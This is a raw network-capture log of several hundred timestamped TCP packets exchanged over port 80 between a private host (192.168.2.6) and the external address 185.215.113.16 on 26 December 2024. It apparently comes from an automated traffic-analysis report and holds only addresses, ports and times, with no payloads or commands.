Dec 26, 2024 12:52:28.058613062 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.059411049 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.059462070 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.059503078 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.060314894 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.060360909 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.060368061 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.061212063 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.061309099 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.062091112 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.062164068 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.062216997 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.063023090 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.063074112 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.063165903 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.063937902 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.064012051 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.064038038 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.064863920 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.065018892 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.065037012 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.065788984 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.065882921 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.065937996 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.066782951 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.066890001 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.066922903 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.067629099 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.067696095 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.067920923 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.068602085 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.068655968 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.068698883 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.069443941 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.069489956 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.069575071 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.070352077 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.070424080 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.070451021 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.071263075 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.071330070 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.071371078 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.072215080 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.072263956 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.072331905 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.073128939 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.073184967 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.073239088 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.074026108 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.074126959 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.074161053 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.074934006 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.075046062 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.075089931 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.075869083 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.075942993 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.075974941 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.076730967 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.076772928 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.076842070 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.077688932 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.077752113 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.077775955 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.078600883 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.078711033 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.078778028 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.079498053 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.079546928 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.079588890 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.080420017 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.080503941 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.080553055 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.081321001 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.081386089 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.081428051 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.082413912 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.082506895 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.082539082 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.083163977 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.083210945 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.083221912 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.084078074 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.084192991 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.084239006 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.085098982 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.085170031 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.085217953 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.085917950 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.085994005 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.086045027 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.086802006 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.086863041 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.086920977 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.087306976 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.087726116 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.087779999 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.087827921 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.088640928 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.088745117 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.088788033 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.089567900 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.089634895 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.089679956 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.090478897 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.090524912 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.090554953 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.091413021 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.091526985 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.091552019 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.092358112 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.092410088 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.092437983 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.093250990 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.093296051 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.093334913 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.094141006 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.094229937 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.094235897 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.095051050 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.095185995 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.095235109 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.095992088 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.096040010 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.096139908 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.096892118 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.096951962 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.097007990 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.097796917 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.097878933 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.097903013 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.098737955 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.098790884 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.098819971 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.099656105 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.099745035 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.099793911 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.100539923 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.100593090 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.100645065 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.101517916 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.101562023 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.101608038 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.102516890 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.102560997 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.102565050 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.103341103 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.103388071 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.103440046 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.104223013 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.104266882 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.104322910 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.105138063 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.105235100 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.105556011 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.106209040 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.106264114 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.106364965 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.106957912 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.107003927 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.107072115 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.107908964 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.107959986 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.107992887 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.108799934 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.108850002 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.108957052 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.109870911 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.109966040 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.110047102 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.110616922 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.110670090 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.110713005 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.111572027 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.111619949 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.111697912 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.112616062 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.112682104 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.112802982 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.113383055 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.113581896 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.113629103 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.114289999 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.114352942 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.115215063 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.115259886 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.115322113 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.116121054 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.116170883 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.116214991 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.117082119 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.117219925 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.117913961 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.117948055 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.118046999 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.118089914 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.118859053 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.118916035 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.118948936 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.119805098 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.119875908 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.120686054 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.120734930 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.120810032 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.121617079 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.121727943 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.121777058 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.122535944 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.122633934 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.123455048 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.123505116 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.123543024 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.124371052 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.124413967 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.124453068 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.125287056 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.125369072 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.126142979 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.126200914 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.126265049 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.126296997 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.127132893 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.127223969 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.127274990 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.128047943 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.128196955 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.128238916 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.128938913 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.129050970 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.129862070 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.129916906 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.129972935 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.130780935 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.130883932 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.130932093 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.131670952 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.131779909 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.131824017 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.132589102 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.132654905 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.132697105 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.133522034 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.133618116 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.134270906 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.134442091 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.134555101 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.134605885 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.135346889 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.135458946 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.135519028 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.136255980 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.136346102 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.136399031 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.137387991 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.137566090 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.138266087 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.138319969 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.138382912 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.139030933 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.139126062 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.139183998 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.139928102 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.140033007 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.140080929 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.140903950 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.140959024 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.141755104 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.141810894 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.141856909 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.142750978 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.142791986 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.142859936 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.143606901 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.143692970 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.144520998 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.144575119 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.144601107 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.145452976 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.145535946 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.146409988 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.146469116 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.146492958 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.147279978 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.147419930 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.147464037 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.148205042 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.148293972 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.148332119 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.149091959 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.149175882 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.149990082 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.150033951 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.150108099 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.150930882 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.150976896 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.151042938 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.151848078 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.151976109 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.152018070 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.152724028 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.152807951 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.152839899 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.153728008 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.153770924 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.153778076 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.154619932 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.154670000 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.154720068 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.155528069 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.155574083 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.155599117 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.156462908 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.156512976 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.156577110 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.157351971 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.157516956 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.158318996 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.158366919 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.158528090 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.159425020 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.159446955 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.159482956 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.160259962 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.160377026 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.160418987 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.160990000 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.161107063 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.161911964 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.161953926 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.162025928 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.162635088 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.162769079 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.162811995 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.163450956 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.163599014 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.163645029 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.164177895 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.164202929 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.164252043 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.164952040 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.165028095 CET	80	49863	185.215.113.16	192.168.2.6
